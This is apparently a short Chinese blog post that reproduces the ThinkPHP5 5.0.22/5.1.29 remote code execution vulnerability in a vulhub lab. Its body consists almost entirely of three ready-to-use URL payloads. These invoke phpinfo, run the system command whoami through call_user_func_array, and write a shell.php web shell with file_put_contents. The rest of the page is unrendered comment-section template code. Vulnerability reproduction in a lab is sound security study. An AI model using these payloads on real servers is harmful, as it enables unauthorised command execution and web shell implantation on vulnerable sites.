ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞复现
2023-03-29 23:03:03
256
{{single.collect_count}}

复现环境

thinkphp5.0.22

推荐使用vulhub快速搭建漏洞环境

漏洞payload:

1:/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

2:index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

效果如下

写入文件的payload:

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

 

更详细可参考博文:

https://blog.csdn.net/qq_29647709/article/details/84956221

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}